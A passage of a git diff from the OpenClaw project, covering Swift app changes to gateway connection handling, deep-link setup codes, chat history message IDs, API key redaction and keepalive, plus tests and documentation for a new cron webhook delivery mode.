RoundedRectangle(cornerRadius: 14, style: .continuous)
.strokeBorder(.white.opacity(self.brighten ? 0.24 : 0.18), lineWidth: 0.5)
.strokeBorder(
.white.opacity(self.contrast == .increased ? 0.5 : (self.brighten ? 0.24 : 0.18)),
lineWidth: self.contrast == .increased ? 1.0 : 0.5
)
}
.shadow(color: .black.opacity(0.25), radius: 12, y: 6)
}
.accessibilityLabel("Voice Wake")
.accessibilityValue(self.command)
.accessibilityLabel("Voice Wake triggered")
.accessibilityValue("Command: \(self.command)")
}
}

View File

@@ -16,6 +16,7 @@ import Speech
final class TalkModeManager: NSObject {
private typealias SpeechRequest = SFSpeechAudioBufferRecognitionRequest
private static let defaultModelIdFallback = "eleven_v3"
private static let redactedConfigSentinel = "__OPENCLAW_REDACTED__"
var isEnabled: Bool = false
var isListening: Bool = false
var isSpeaking: Bool = false
@@ -814,23 +815,14 @@ final class TalkModeManager: NSObject {
private func subscribeChatIfNeeded(sessionKey: String) async {
let key = sessionKey.trimmingCharacters(in: .whitespacesAndNewlines)
guard !key.isEmpty else { return }
guard let gateway else { return }
guard !self.chatSubscribedSessionKeys.contains(key) else { return }
let payload = "{\"sessionKey\":\"\(key)\"}"
await gateway.sendEvent(event: "chat.subscribe", payloadJSON: payload)
// Operator clients receive chat events without node-style subscriptions.
self.chatSubscribedSessionKeys.insert(key)
self.logger.info("chat.subscribe ok sessionKey=\(key, privacy: .public)")
}
private func unsubscribeAllChats() async {
guard let gateway else { return }
let keys = self.chatSubscribedSessionKeys
self.chatSubscribedSessionKeys.removeAll()
for key in keys {
let payload = "{\"sessionKey\":\"\(key)\"}"
await gateway.sendEvent(event: "chat.unsubscribe", payloadJSON: payload)
}
}
private func buildPrompt(transcript: String) -> String {
@@ -1668,6 +1660,15 @@ extension TalkModeManager {
return value.allSatisfy { $0.isLetter || $0.isNumber || $0 == "-" || $0 == "_" }
}
private static func normalizedTalkApiKey(_ raw: String?) -> String? {
let trimmed = (raw ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return nil }
guard trimmed != Self.redactedConfigSentinel else { return nil }
// Config values may be env placeholders (for example `${ELEVENLABS_API_KEY}`).
if trimmed.hasPrefix("${"), trimmed.hasSuffix("}") { return nil }
return trimmed
}
func reloadConfig() async {
guard let gateway else { return }
do {
@@ -1699,7 +1700,15 @@ extension TalkModeManager {
}
self.defaultOutputFormat = (talk?["outputFormat"] as? String)?
.trimmingCharacters(in: .whitespacesAndNewlines)
self.apiKey = (talk?["apiKey"] as? String)?.trimmingCharacters(in: .whitespacesAndNewlines)
let rawConfigApiKey = (talk?["apiKey"] as? String)?.trimmingCharacters(in: .whitespacesAndNewlines)
let configApiKey = Self.normalizedTalkApiKey(rawConfigApiKey)
let localApiKey = Self.normalizedTalkApiKey(GatewaySettingsStore.loadTalkElevenLabsApiKey())
if rawConfigApiKey == Self.redactedConfigSentinel {
self.apiKey = (localApiKey?.isEmpty == false) ? localApiKey : nil
GatewayDiagnostics.log("talk config apiKey redacted; using local override if present")
} else {
self.apiKey = (localApiKey?.isEmpty == false) ? localApiKey : configApiKey
}
if let interrupt = talk?["interruptOnSpeech"] as? Bool {
self.interruptOnSpeech = interrupt
}

View File

@@ -76,4 +76,52 @@ import Testing
timeoutSeconds: nil,
key: nil)))
}
@Test func parseGatewayLinkParsesCommonFields() {
let url = URL(
string: "openclaw://gateway?host=openclaw.local&port=18789&tls=1&token=abc&password=def")!
#expect(
DeepLinkParser.parse(url) == .gateway(
.init(host: "openclaw.local", port: 18789, tls: true, token: "abc", password: "def")))
}
@Test func parseGatewaySetupCodeParsesBase64UrlPayload() {
let payload = #"{"url":"wss://gateway.example.com:443","token":"tok","password":"pw"}"#
let encoded = Data(payload.utf8)
.base64EncodedString()
.replacingOccurrences(of: "+", with: "-")
.replacingOccurrences(of: "/", with: "_")
.replacingOccurrences(of: "=", with: "")
let link = GatewayConnectDeepLink.fromSetupCode(encoded)
#expect(link == .init(
host: "gateway.example.com",
port: 443,
tls: true,
token: "tok",
password: "pw"))
}
@Test func parseGatewaySetupCodeRejectsInvalidInput() {
#expect(GatewayConnectDeepLink.fromSetupCode("not-a-valid-setup-code") == nil)
}
@Test func parseGatewaySetupCodeDefaultsTo443ForWssWithoutPort() {
let payload = #"{"url":"wss://gateway.example.com","token":"tok"}"#
let encoded = Data(payload.utf8)
.base64EncodedString()
.replacingOccurrences(of: "+", with: "-")
.replacingOccurrences(of: "/", with: "_")
.replacingOccurrences(of: "=", with: "")
let link = GatewayConnectDeepLink.fromSetupCode(encoded)
#expect(link == .init(
host: "gateway.example.com",
port: 443,
tls: true,
token: "tok",
password: nil))
}
}

View File

@@ -76,4 +76,47 @@ private func withUserDefaults<T>(_ updates: [String: Any?], _ body: () throws ->
#expect(commands.contains(OpenClawLocationCommand.get.rawValue))
}
}
@Test @MainActor func currentCommandsExcludeDangerousSystemExecCommands() {
withUserDefaults([
"node.instanceId": "ios-test",
"camera.enabled": true,
"location.enabledMode": OpenClawLocationMode.whileUsing.rawValue,
]) {
let appModel = NodeAppModel()
let controller = GatewayConnectionController(appModel: appModel, startDiscovery: false)
let commands = Set(controller._test_currentCommands())
// iOS should expose notify, but not host shell/exec-approval commands.
#expect(commands.contains(OpenClawSystemCommand.notify.rawValue))
#expect(!commands.contains(OpenClawSystemCommand.run.rawValue))
#expect(!commands.contains(OpenClawSystemCommand.which.rawValue))
#expect(!commands.contains(OpenClawSystemCommand.execApprovalsGet.rawValue))
#expect(!commands.contains(OpenClawSystemCommand.execApprovalsSet.rawValue))
}
}
@Test @MainActor func loadLastConnectionReadsSavedValues() {
withUserDefaults([:]) {
GatewaySettingsStore.saveLastGatewayConnectionManual(
host: "gateway.example.com",
port: 443,
useTLS: true,
stableID: "manual|gateway.example.com|443")
let loaded = GatewaySettingsStore.loadLastGatewayConnection()
#expect(loaded == .manual(host: "gateway.example.com", port: 443, useTLS: true, stableID: "manual|gateway.example.com|443"))
}
}
@Test @MainActor func loadLastConnectionReturnsNilForInvalidData() {
withUserDefaults([
"gateway.last.kind": "manual",
"gateway.last.host": "",
"gateway.last.port": 0,
"gateway.last.tls": false,
"gateway.last.stableID": "manual|invalid|0",
]) {
let loaded = GatewaySettingsStore.loadLastGatewayConnection()
#expect(loaded == nil)
}
}
}

View File

@@ -0,0 +1,33 @@
import Testing
@testable import OpenClaw
@Suite(.serialized) struct GatewayConnectionIssueTests {
@Test func detectsTokenMissing() {
let issue = GatewayConnectionIssue.detect(from: "unauthorized: gateway token missing")
#expect(issue == .tokenMissing)
#expect(issue.needsAuthToken)
}
@Test func detectsUnauthorized() {
let issue = GatewayConnectionIssue.detect(from: "Gateway error: unauthorized role")
#expect(issue == .unauthorized)
#expect(issue.needsAuthToken)
}
@Test func detectsPairingWithRequestId() {
let issue = GatewayConnectionIssue.detect(from: "pairing required (requestId: abc123)")
#expect(issue == .pairingRequired(requestId: "abc123"))
#expect(issue.needsPairing)
#expect(issue.requestId == "abc123")
}
@Test func detectsNetworkError() {
let issue = GatewayConnectionIssue.detect(from: "Gateway error: Connection refused")
#expect(issue == .network)
}
@Test func returnsNoneForBenignStatus() {
let issue = GatewayConnectionIssue.detect(from: "Connected")
#expect(issue == .none)
}
}

View File

@@ -0,0 +1,57 @@
import Foundation
import Testing
@testable import OpenClaw
@Suite(.serialized) struct OnboardingStateStoreTests {
@Test @MainActor func shouldPresentWhenFreshAndDisconnected() {
let testDefaults = self.makeDefaults()
let defaults = testDefaults.defaults
defer { self.reset(testDefaults) }
let appModel = NodeAppModel()
appModel.gatewayServerName = nil
#expect(OnboardingStateStore.shouldPresentOnLaunch(appModel: appModel, defaults: defaults))
}
@Test @MainActor func doesNotPresentWhenConnected() {
let testDefaults = self.makeDefaults()
let defaults = testDefaults.defaults
defer { self.reset(testDefaults) }
let appModel = NodeAppModel()
appModel.gatewayServerName = "gateway"
#expect(!OnboardingStateStore.shouldPresentOnLaunch(appModel: appModel, defaults: defaults))
}
@Test @MainActor func markCompletedPersistsMode() {
let testDefaults = self.makeDefaults()
let defaults = testDefaults.defaults
defer { self.reset(testDefaults) }
let appModel = NodeAppModel()
appModel.gatewayServerName = nil
OnboardingStateStore.markCompleted(mode: .remoteDomain, defaults: defaults)
#expect(OnboardingStateStore.lastMode(defaults: defaults) == .remoteDomain)
#expect(!OnboardingStateStore.shouldPresentOnLaunch(appModel: appModel, defaults: defaults))
OnboardingStateStore.markIncomplete(defaults: defaults)
#expect(OnboardingStateStore.shouldPresentOnLaunch(appModel: appModel, defaults: defaults))
}
private struct TestDefaults {
var suiteName: String
var defaults: UserDefaults
}
private func makeDefaults() -> TestDefaults {
let suiteName = "OnboardingStateStoreTests.\(UUID().uuidString)"
return TestDefaults(
suiteName: suiteName,
defaults: UserDefaults(suiteName: suiteName) ?? .standard)
}
private func reset(_ defaults: TestDefaults) {
defaults.defaults.removePersistentDomain(forName: defaults.suiteName)
}
}

View File

@@ -21,6 +21,7 @@ enum CronWakeMode: String, CaseIterable, Identifiable, Codable {
enum CronDeliveryMode: String, CaseIterable, Identifiable, Codable {
case none
case announce
case webhook
var id: String {
self.rawValue

View File

@@ -2087,7 +2087,6 @@ public struct CronJob: Codable, Sendable {
public let name: String
public let description: String?
public let enabled: Bool
public let notify: Bool?
public let deleteafterrun: Bool?
public let createdatms: Int
public let updatedatms: Int
@@ -2095,7 +2094,7 @@ public struct CronJob: Codable, Sendable {
public let sessiontarget: AnyCodable
public let wakemode: AnyCodable
public let payload: AnyCodable
public let delivery: [String: AnyCodable]?
public let delivery: AnyCodable?
public let state: [String: AnyCodable]
public init(
@@ -2104,7 +2103,6 @@ public struct CronJob: Codable, Sendable {
name: String,
description: String?,
enabled: Bool,
notify: Bool?,
deleteafterrun: Bool?,
createdatms: Int,
updatedatms: Int,
@@ -2112,7 +2110,7 @@ public struct CronJob: Codable, Sendable {
sessiontarget: AnyCodable,
wakemode: AnyCodable,
payload: AnyCodable,
delivery: [String: AnyCodable]?,
delivery: AnyCodable?,
state: [String: AnyCodable]
) {
self.id = id
@@ -2120,7 +2118,6 @@ public struct CronJob: Codable, Sendable {
self.name = name
self.description = description
self.enabled = enabled
self.notify = notify
self.deleteafterrun = deleteafterrun
self.createdatms = createdatms
self.updatedatms = updatedatms
@@ -2137,7 +2134,6 @@ public struct CronJob: Codable, Sendable {
case name
case description
case enabled
case notify
case deleteafterrun = "deleteAfterRun"
case createdatms = "createdAtMs"
case updatedatms = "updatedAtMs"
@@ -2171,32 +2167,29 @@ public struct CronAddParams: Codable, Sendable {
public let agentid: AnyCodable?
public let description: String?
public let enabled: Bool?
public let notify: Bool?
public let deleteafterrun: Bool?
public let schedule: AnyCodable
public let sessiontarget: AnyCodable
public let wakemode: AnyCodable
public let payload: AnyCodable
public let delivery: [String: AnyCodable]?
public let delivery: AnyCodable?
public init(
name: String,
agentid: AnyCodable?,
description: String?,
enabled: Bool?,
notify: Bool?,
deleteafterrun: Bool?,
schedule: AnyCodable,
sessiontarget: AnyCodable,
wakemode: AnyCodable,
payload: AnyCodable,
delivery: [String: AnyCodable]?
delivery: AnyCodable?
) {
self.name = name
self.agentid = agentid
self.description = description
self.enabled = enabled
self.notify = notify
self.deleteafterrun = deleteafterrun
self.schedule = schedule
self.sessiontarget = sessiontarget
@@ -2209,7 +2202,6 @@ public struct CronAddParams: Codable, Sendable {
case agentid = "agentId"
case description
case enabled
case notify
case deleteafterrun = "deleteAfterRun"
case schedule
case sessiontarget = "sessionTarget"

View File

@@ -170,7 +170,9 @@ public final class OpenClawChatViewModel {
}
let payload = try await self.transport.requestHistory(sessionKey: self.sessionKey)
self.messages = Self.decodeMessages(payload.messages ?? [])
self.messages = Self.reconcileMessageIDs(
previous: self.messages,
incoming: Self.decodeMessages(payload.messages ?? []))
self.sessionId = payload.sessionId
if let level = payload.thinkingLevel, !level.isEmpty {
self.thinkingLevel = level
@@ -191,6 +193,70 @@ public final class OpenClawChatViewModel {
return Self.dedupeMessages(decoded)
}
private static func messageIdentityKey(for message: OpenClawChatMessage) -> String? {
let role = message.role.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
guard !role.isEmpty else { return nil }
let timestamp: String = {
guard let value = message.timestamp, value.isFinite else { return "" }
return String(format: "%.3f", value)
}()
let contentFingerprint = message.content.map { item in
let type = (item.type ?? "text").trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
let text = (item.text ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
let id = (item.id ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
let name = (item.name ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
let fileName = (item.fileName ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
return [type, text, id, name, fileName].joined(separator: "\\u{001F}")
}.joined(separator: "\\u{001E}")
let toolCallId = (message.toolCallId ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
let toolName = (message.toolName ?? "").trimmingCharacters(in: .whitespacesAndNewlines)
if timestamp.isEmpty, contentFingerprint.isEmpty, toolCallId.isEmpty, toolName.isEmpty {
return nil
}
return [role, timestamp, toolCallId, toolName, contentFingerprint].joined(separator: "|")
}
private static func reconcileMessageIDs(
previous: [OpenClawChatMessage],
incoming: [OpenClawChatMessage]) -> [OpenClawChatMessage]
{
guard !previous.isEmpty, !incoming.isEmpty else { return incoming }
var idsByKey: [String: [UUID]] = [:]
for message in previous {
guard let key = Self.messageIdentityKey(for: message) else { continue }
idsByKey[key, default: []].append(message.id)
}
return incoming.map { message in
guard let key = Self.messageIdentityKey(for: message),
var ids = idsByKey[key],
let reusedId = ids.first
else {
return message
}
ids.removeFirst()
if ids.isEmpty {
idsByKey.removeValue(forKey: key)
} else {
idsByKey[key] = ids
}
guard reusedId != message.id else { return message }
return OpenClawChatMessage(
id: reusedId,
role: message.role,
content: message.content,
timestamp: message.timestamp,
toolCallId: message.toolCallId,
toolName: message.toolName,
usage: message.usage,
stopReason: message.stopReason)
}
}
private static func dedupeMessages(_ messages: [OpenClawChatMessage]) -> [OpenClawChatMessage] {
var result: [OpenClawChatMessage] = []
result.reserveCapacity(messages.count)
@@ -375,11 +441,15 @@ public final class OpenClawChatViewModel {
}
private func handleChatEvent(_ chat: OpenClawChatEventPayload) {
if let sessionKey = chat.sessionKey, sessionKey != self.sessionKey {
let isOurRun = chat.runId.flatMap { self.pendingRuns.contains($0) } ?? false
// Gateway may publish canonical session keys (for example "agent:main:main")
// even when this view currently uses an alias key (for example "main").
// Never drop events for our own pending run on key mismatch, or the UI can stay
// stuck at "thinking" until the user reopens and forces a history reload.
if let sessionKey = chat.sessionKey, sessionKey != self.sessionKey, !isOurRun {
return
}
let isOurRun = chat.runId.flatMap { self.pendingRuns.contains($0) } ?? false
if !isOurRun {
// Keep multiple clients in sync: if another client finishes a run for our session, refresh history.
switch chat.state {
@@ -444,7 +514,9 @@ public final class OpenClawChatViewModel {
private func refreshHistoryAfterRun() async {
do {
let payload = try await self.transport.requestHistory(sessionKey: self.sessionKey)
self.messages = Self.decodeMessages(payload.messages ?? [])
self.messages = Self.reconcileMessageIDs(
previous: self.messages,
incoming: Self.decodeMessages(payload.messages ?? []))
self.sessionId = payload.sessionId
if let level = payload.thinkingLevel, !level.isEmpty {
self.thinkingLevel = level

View File

@@ -2,6 +2,56 @@ import Foundation
public enum DeepLinkRoute: Sendable, Equatable {
case agent(AgentDeepLink)
case gateway(GatewayConnectDeepLink)
}
public struct GatewayConnectDeepLink: Codable, Sendable, Equatable {
public let host: String
public let port: Int
public let tls: Bool
public let token: String?
public let password: String?
public init(host: String, port: Int, tls: Bool, token: String?, password: String?) {
self.host = host
self.port = port
self.tls = tls
self.token = token
self.password = password
}
public var websocketURL: URL? {
let scheme = self.tls ? "wss" : "ws"
return URL(string: "\(scheme)://\(self.host):\(self.port)")
}
/// Parse a device-pair setup code (base64url-encoded JSON: `{url, token?, password?}`).
public static func fromSetupCode(_ code: String) -> GatewayConnectDeepLink? {
guard let data = Self.decodeBase64Url(code) else { return nil }
guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else { return nil }
guard let urlString = json["url"] as? String,
let parsed = URLComponents(string: urlString),
let hostname = parsed.host, !hostname.isEmpty
else { return nil }
let scheme = (parsed.scheme ?? "ws").lowercased()
let tls = scheme == "wss"
let port = parsed.port ?? (tls ? 443 : 18789)
let token = json["token"] as? String
let password = json["password"] as? String
return GatewayConnectDeepLink(host: hostname, port: port, tls: tls, token: token, password: password)
}
private static func decodeBase64Url(_ input: String) -> Data? {
var base64 = input
.replacingOccurrences(of: "-", with: "+")
.replacingOccurrences(of: "_", with: "/")
let remainder = base64.count % 4
if remainder > 0 {
base64.append(contentsOf: String(repeating: "=", count: 4 - remainder))
}
return Data(base64Encoded: base64)
}
}
public struct AgentDeepLink: Codable, Sendable, Equatable {
@@ -69,6 +119,23 @@ public enum DeepLinkParser {
channel: query["channel"],
timeoutSeconds: timeoutSeconds,
key: query["key"]))
case "gateway":
guard let hostParam = query["host"],
!hostParam.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
else {
return nil
}
let port = query["port"].flatMap { Int($0) } ?? 18789
let tls = (query["tls"] as NSString?)?.boolValue ?? false
return .gateway(
.init(
host: hostParam,
port: port,
tls: tls,
token: query["token"],
password: query["password"]))
default:
return nil
}

View File

@@ -133,10 +133,16 @@ public actor GatewayChannelActor {
private var lastAuthSource: GatewayAuthSource = .none
private let decoder = JSONDecoder()
private let encoder = JSONEncoder()
private let connectTimeoutSeconds: Double = 6
private let connectChallengeTimeoutSeconds: Double = 3.0
// Remote gateways (tailscale/wan) can take a bit longer to deliver the connect.challenge event,
// and we must include the nonce once the gateway requires v2 signing.
private let connectTimeoutSeconds: Double = 12
private let connectChallengeTimeoutSeconds: Double = 6.0
// Some networks will silently drop idle TCP/TLS flows around ~30s. The gateway tick is server->client,
// but NATs/proxies often require outbound traffic to keep the connection alive.
private let keepaliveIntervalSeconds: Double = 15.0
private var watchdogTask: Task<Void, Never>?
private var tickTask: Task<Void, Never>?
private var keepaliveTask: Task<Void, Never>?
private let defaultRequestTimeoutMs: Double = 15000
private let pushHandler: (@Sendable (GatewayPush) async -> Void)?
private let connectOptions: GatewayConnectOptions?
@@ -175,6 +181,9 @@ public actor GatewayChannelActor {
self.tickTask?.cancel()
self.tickTask = nil
self.keepaliveTask?.cancel()
self.keepaliveTask = nil
self.task?.cancel(with: .goingAway, reason: nil)
self.task = nil
@@ -257,6 +266,7 @@ public actor GatewayChannelActor {
self.connected = true
self.backoffMs = 500
self.lastSeq = nil
self.startKeepalive()
let waiters = self.connectWaiters
self.connectWaiters.removeAll()
@@ -265,6 +275,29 @@ public actor GatewayChannelActor {
}
}
private func startKeepalive() {
self.keepaliveTask?.cancel()
self.keepaliveTask = Task { [weak self] in
guard let self else { return }
await self.keepaliveLoop()
}
}
private func keepaliveLoop() async {
while self.shouldReconnect {
try? await Task.sleep(nanoseconds: UInt64(self.keepaliveIntervalSeconds * 1_000_000_000))
guard self.shouldReconnect else { return }
guard self.connected else { continue }
// Best-effort outbound message to keep intermediate NAT/proxy state alive.
// We intentionally ignore the response.
do {
try await self.send(method: "health", params: nil)
} catch {
// Avoid spamming logs; the reconnect paths will surface meaningful errors.
}
}
}
private func sendConnect() async throws {
let platform = InstanceIdentity.platformString
let primaryLocale = Locale.preferredLanguages.first ?? Locale.current.identifier
@@ -458,6 +491,8 @@ public actor GatewayChannelActor {
let wrapped = self.wrap(err, context: "gateway receive")
self.logger.error("gateway ws receive failed \(wrapped.localizedDescription, privacy: .public)")
self.connected = false
self.keepaliveTask?.cancel()
self.keepaliveTask = nil
await self.disconnectHandler?("receive failed: \(wrapped.localizedDescription)")
await self.failPending(wrapped)
await self.scheduleReconnect()

View File

@@ -2087,7 +2087,6 @@ public struct CronJob: Codable, Sendable {
public let name: String
public let description: String?
public let enabled: Bool
public let notify: Bool?
public let deleteafterrun: Bool?
public let createdatms: Int
public let updatedatms: Int
@@ -2095,7 +2094,7 @@ public struct CronJob: Codable, Sendable {
public let sessiontarget: AnyCodable
public let wakemode: AnyCodable
public let payload: AnyCodable
public let delivery: [String: AnyCodable]?
public let delivery: AnyCodable?
public let state: [String: AnyCodable]
public init(
@@ -2104,7 +2103,6 @@ public struct CronJob: Codable, Sendable {
name: String,
description: String?,
enabled: Bool,
notify: Bool?,
deleteafterrun: Bool?,
createdatms: Int,
updatedatms: Int,
@@ -2112,7 +2110,7 @@ public struct CronJob: Codable, Sendable {
sessiontarget: AnyCodable,
wakemode: AnyCodable,
payload: AnyCodable,
delivery: [String: AnyCodable]?,
delivery: AnyCodable?,
state: [String: AnyCodable]
) {
self.id = id
@@ -2120,7 +2118,6 @@ public struct CronJob: Codable, Sendable {
self.name = name
self.description = description
self.enabled = enabled
self.notify = notify
self.deleteafterrun = deleteafterrun
self.createdatms = createdatms
self.updatedatms = updatedatms
@@ -2137,7 +2134,6 @@ public struct CronJob: Codable, Sendable {
case name
case description
case enabled
case notify
case deleteafterrun = "deleteAfterRun"
case createdatms = "createdAtMs"
case updatedatms = "updatedAtMs"
@@ -2171,32 +2167,29 @@ public struct CronAddParams: Codable, Sendable {
public let agentid: AnyCodable?
public let description: String?
public let enabled: Bool?
public let notify: Bool?
public let deleteafterrun: Bool?
public let schedule: AnyCodable
public let sessiontarget: AnyCodable
public let wakemode: AnyCodable
public let payload: AnyCodable
public let delivery: [String: AnyCodable]?
public let delivery: AnyCodable?
public init(
name: String,
agentid: AnyCodable?,
description: String?,
enabled: Bool?,
notify: Bool?,
deleteafterrun: Bool?,
schedule: AnyCodable,
sessiontarget: AnyCodable,
wakemode: AnyCodable,
payload: AnyCodable,
delivery: [String: AnyCodable]?
delivery: AnyCodable?
) {
self.name = name
self.agentid = agentid
self.description = description
self.enabled = enabled
self.notify = notify
self.deleteafterrun = deleteafterrun
self.schedule = schedule
self.sessiontarget = sessiontarget
@@ -2209,7 +2202,6 @@ public struct CronAddParams: Codable, Sendable {
case agentid = "agentId"
case description
case enabled
case notify
case deleteafterrun = "deleteAfterRun"
case schedule
case sessiontarget = "sessionTarget"

View File

@@ -215,6 +215,103 @@ extension TestChatTransportState {
#expect(await MainActor.run { vm.pendingToolCalls.isEmpty })
}
@Test func acceptsCanonicalSessionKeyEventsForOwnPendingRun() async throws {
let history1 = OpenClawChatHistoryPayload(
sessionKey: "main",
sessionId: "sess-main",
messages: [],
thinkingLevel: "off")
let history2 = OpenClawChatHistoryPayload(
sessionKey: "main",
sessionId: "sess-main",
messages: [
AnyCodable([
"role": "assistant",
"content": [["type": "text", "text": "from history"]],
"timestamp": Date().timeIntervalSince1970 * 1000,
]),
],
thinkingLevel: "off")
let transport = TestChatTransport(historyResponses: [history1, history2])
let vm = await MainActor.run { OpenClawChatViewModel(sessionKey: "main", transport: transport) }
await MainActor.run { vm.load() }
try await waitUntil("bootstrap") { await MainActor.run { vm.healthOK } }
await MainActor.run {
vm.input = "hi"
vm.send()
}
try await waitUntil("pending run starts") { await MainActor.run { vm.pendingRunCount == 1 } }
let runId = try #require(await transport.lastSentRunId())
transport.emit(
.chat(
OpenClawChatEventPayload(
runId: runId,
sessionKey: "agent:main:main",
state: "final",
message: nil,
errorMessage: nil)))
try await waitUntil("pending run clears") { await MainActor.run { vm.pendingRunCount == 0 } }
try await waitUntil("history refresh") {
await MainActor.run { vm.messages.contains(where: { $0.role == "assistant" }) }
}
}
@Test func preservesMessageIDsAcrossHistoryRefreshes() async throws {
let now = Date().timeIntervalSince1970 * 1000
let history1 = OpenClawChatHistoryPayload(
sessionKey: "main",
sessionId: "sess-main",
messages: [
AnyCodable([
"role": "user",
"content": [["type": "text", "text": "hello"]],
"timestamp": now,
]),
],
thinkingLevel: "off")
let history2 = OpenClawChatHistoryPayload(
sessionKey: "main",
sessionId: "sess-main",
messages: [
AnyCodable([
"role": "user",
"content": [["type": "text", "text": "hello"]],
"timestamp": now,
]),
AnyCodable([
"role": "assistant",
"content": [["type": "text", "text": "world"]],
"timestamp": now + 1,
]),
],
thinkingLevel: "off")
let transport = TestChatTransport(historyResponses: [history1, history2])
let vm = await MainActor.run { OpenClawChatViewModel(sessionKey: "main", transport: transport) }
await MainActor.run { vm.load() }
try await waitUntil("bootstrap") { await MainActor.run { vm.messages.count == 1 } }
let firstIdBefore = try #require(await MainActor.run { vm.messages.first?.id })
transport.emit(
.chat(
OpenClawChatEventPayload(
runId: "other-run",
sessionKey: "main",
state: "final",
message: nil,
errorMessage: nil)))
try await waitUntil("history refresh") { await MainActor.run { vm.messages.count == 2 } }
let firstIdAfter = try #require(await MainActor.run { vm.messages.first?.id })
#expect(firstIdAfter == firstIdBefore)
}
@Test func clearsStreamingOnExternalFinalEvent() async throws {
let sessionId = "sess-main"
let history = OpenClawChatHistoryPayload(

View File

@@ -27,7 +27,8 @@ Troubleshooting: [/automation/troubleshooting](/automation/troubleshooting)
- **Main session**: enqueue a system event, then run on the next heartbeat.
- **Isolated**: run a dedicated agent turn in `cron:<jobId>`, with delivery (announce by default or none).
- Wakeups are first-class: a job can request “wake now” vs “next heartbeat”.
- Webhook posting is opt-in per job: set `notify: true` and configure `cron.webhook`.
- Webhook posting is per job via `delivery.mode = "webhook"` + `delivery.to = "<url>"`.
- Legacy fallback remains for stored jobs with `notify: true` when `cron.webhook` is set, migrate those jobs to webhook delivery mode.
## Quick start (actionable)
@@ -100,7 +101,7 @@ A cron job is a stored record with:
- a **schedule** (when it should run),
- a **payload** (what it should do),
- optional **delivery mode** (announce or none).
- optional **delivery mode** (`announce`, `webhook`, or `none`).
- optional **agent binding** (`agentId`): run the job under a specific agent; if
missing or unknown, the gateway falls back to the default agent.
@@ -141,8 +142,9 @@ Key behaviors:
- Prompt is prefixed with `[cron:<jobId> <job name>]` for traceability.
- Each run starts a **fresh session id** (no prior conversation carry-over).
- Default behavior: if `delivery` is omitted, isolated jobs announce a summary (`delivery.mode = "announce"`).
- `delivery.mode` (isolated-only) chooses what happens:
- `delivery.mode` chooses what happens:
- `announce`: deliver a summary to the target channel and post a brief summary to the main session.
- `webhook`: POST the finished event payload to `delivery.to`.
- `none`: internal only (no delivery, no main-session summary).
- `wakeMode` controls when the main-session summary posts:
- `now`: immediate heartbeat.
@@ -164,11 +166,11 @@ Common `agentTurn` fields:
- `model` / `thinking`: optional overrides (see below).
- `timeoutSeconds`: optional timeout override.
Delivery config (isolated jobs only):
Delivery config:
- `delivery.mode`: `none` | `announce`.
- `delivery.mode`: `none` | `announce` | `webhook`.
- `delivery.channel`: `last` or a specific channel.
- `delivery.to`: channel-specific target (phone/chat/channel id).
- `delivery.to`: channel-specific target (announce) or webhook URL (webhook mode).
- `delivery.bestEffort`: avoid failing the job if announce delivery fails.
Announce delivery suppresses messaging tool sends for the run; use `delivery.channel`/`delivery.to`
@@ -193,6 +195,18 @@ Behavior details:
- The main-session summary respects `wakeMode`: `now` triggers an immediate heartbeat and
`next-heartbeat` waits for the next scheduled heartbeat.
#### Webhook delivery flow
When `delivery.mode = "webhook"`, cron posts the finished event payload to `delivery.to`.
Behavior details:
- The endpoint must be a valid HTTP(S) URL.
- No channel delivery is attempted in webhook mode.
- No main-session summary is posted in webhook mode.
- If `cron.webhookToken` is set, auth header is `Authorization: Bearer <cron.webhookToken>`.
- Deprecated fallback: stored legacy jobs with `notify: true` still post to `cron.webhook` (if configured), with a warning so you can migrate to `delivery.mode = "webhook"`.
### Model and thinking overrides
Isolated jobs (`agentTurn`) can override the model and thinking level:
@@ -214,11 +228,12 @@ Resolution priority:
Isolated jobs can deliver output to a channel via the top-level `delivery` config:
- `delivery.mode`: `announce` (deliver a summary) or `none`.
- `delivery.mode`: `announce` (channel delivery), `webhook` (HTTP POST), or `none`.
- `delivery.channel`: `whatsapp` / `telegram` / `discord` / `slack` / `mattermost` (plugin) / `signal` / `imessage` / `last`.
- `delivery.to`: channel-specific recipient target.
Delivery config is only valid for isolated jobs (`sessionTarget: "isolated"`).
`announce` delivery is only valid for isolated jobs (`sessionTarget: "isolated"`).
`webhook` delivery is valid for both main and isolated jobs.
If `delivery.channel` or `delivery.to` is omitted, cron can fall back to the main sessions
“last route” (the last place the agent replied).
@@ -289,7 +304,7 @@ Notes:
- `schedule.at` accepts ISO 8601 (timezone optional; treated as UTC when omitted).
- `everyMs` is milliseconds.
- `sessionTarget` must be `"main"` or `"isolated"` and must match `payload.kind`.
- Optional fields: `agentId`, `description`, `enabled`, `notify`, `deleteAfterRun` (defaults to true for `at`),
- Optional fields: `agentId`, `description`, `enabled`, `deleteAfterRun` (defaults to true for `at`),
`delivery`.
- `wakeMode` defaults to `"now"` when omitted.
@@ -334,18 +349,20 @@ Notes:
enabled: true, // default true
store: "~/.openclaw/cron/jobs.json",
maxConcurrentRuns: 1, // default 1
webhook: "https://example.invalid/cron-finished", // optional finished-run webhook endpoint
webhookToken: "replace-with-dedicated-webhook-token", // optional, do not reuse gateway auth token
webhook: "https://example.invalid/legacy", // deprecated fallback for stored notify:true jobs
webhookToken: "replace-with-dedicated-webhook-token", // optional bearer token for webhook mode
},
}
```
Webhook behavior:
- The Gateway posts finished run events to `cron.webhook` only when the job has `notify: true`.
- Preferred: set `delivery.mode: "webhook"` with `delivery.to: "https://..."` per job.
- Webhook URLs must be valid `http://` or `https://` URLs.
- Payload is the cron finished event JSON.
- If `cron.webhookToken` is set, auth header is `Authorization: Bearer <cron.webhookToken>`.
- If `cron.webhookToken` is not set, no `Authorization` header is sent.
- Deprecated fallback: stored legacy jobs with `notify: true` still use `cron.webhook` when present.
Disable cron entirely:

View File

@@ -116,7 +116,8 @@ See [Memory](/concepts/memory) for the workflow and automatic memory flush.
If any bootstrap file is missing, OpenClaw injects a "missing file" marker into
